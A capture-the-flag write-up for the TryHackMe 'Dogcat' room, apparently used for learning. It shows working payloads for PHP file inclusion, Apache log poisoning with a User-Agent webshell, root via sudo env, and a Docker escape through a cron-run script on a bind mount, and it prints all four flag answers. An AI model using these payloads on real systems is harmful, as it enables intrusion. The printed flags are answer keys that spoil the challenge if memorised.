Back to CTF Writeups

Dogcat — TryHackMe CTF

PHP LFI with controllable extension parameter, Apache log poisoning for RCE, sudo env to root inside Docker, then container escape via host-mounted cron script. 4 flags.

TryHackMeMediumMar 20260xb0rn3 | oxbv1

Overview

A PHP web app vulnerable to LFI via ?view= parameter with a controllable ?ext= suffix. Apache log poisoning via User-Agent injection achieves RCE. sudo env gives root inside a Docker container. A host-mounted /opt/backups/ volume with cron-executed backup.sh provides the escape to host root.

LFI (?view= + ?ext=) → PHP filter source read → Flag 1 → Log poisoning (User-Agent) → RCE → Persistent webshell → Flag 2 → sudo /usr/bin/env bash → Container root → Flag 3 → Hijack backup.sh (bind mount) → Host root → Flag 4

Phase 1: LFI Discovery

The view parameter loads files. Source code via PHP filter reveals:

$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
    include $_GET['view'] . $ext;
}

Setting ext= (empty) removes the .php suffix. The view must contain "dog" or "cat" — bypass with path traversal: dog/../../../etc/passwd.

FLAG 1: THM{Th1s_1s_N0t_4_Catdog_ab67edfa}

Phase 2: Log Poisoning → RCE

Inject PHP into Apache access log via User-Agent. Critical: use single quotes only (Apache escapes " as \").

curl -A "<?php system(\$_GET['c']); ?>" http://TARGET/
# Include the poisoned log:
GET /index.php?view=dog/../../../../var/log/apache2/access.log&ext=&c=id
FLAG 2: THM{LF1_t0_RC3_aec3fb}

Phase 3: Container Root

sudo -l  # (root) NOPASSWD: /usr/bin/env
sudo /usr/bin/env bash  # instant root (GTFOBins)
FLAG 3: THM{D1ff3r3nt_3nv1ronments_874112}

Phase 4: Docker Escape

/opt/backups/ is a bind mount from the host. The host runs backup.sh via cron (~every minute). Container root overwrites it:

# Key: use HOST paths in the script, not container paths
printf '#!/bin/bash\ncat /root/flag4.txt > /root/container/backup/flag4out.txt\n' \
  > /opt/backups/backup.sh
FLAG 4: THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

Lessons Learned

  1. Controllable file extension in include(): ext= empties the suffix, enabling arbitrary file inclusion.
  2. Log poisoning: Apache access log is writable via User-Agent — single quotes avoid escaping issues.
  3. sudo env = root: env bash spawns a root shell trivially.
  4. Docker bind mount + cron = escape: if the host runs scripts from a shared volume, hijack execution. Host paths differ from container paths.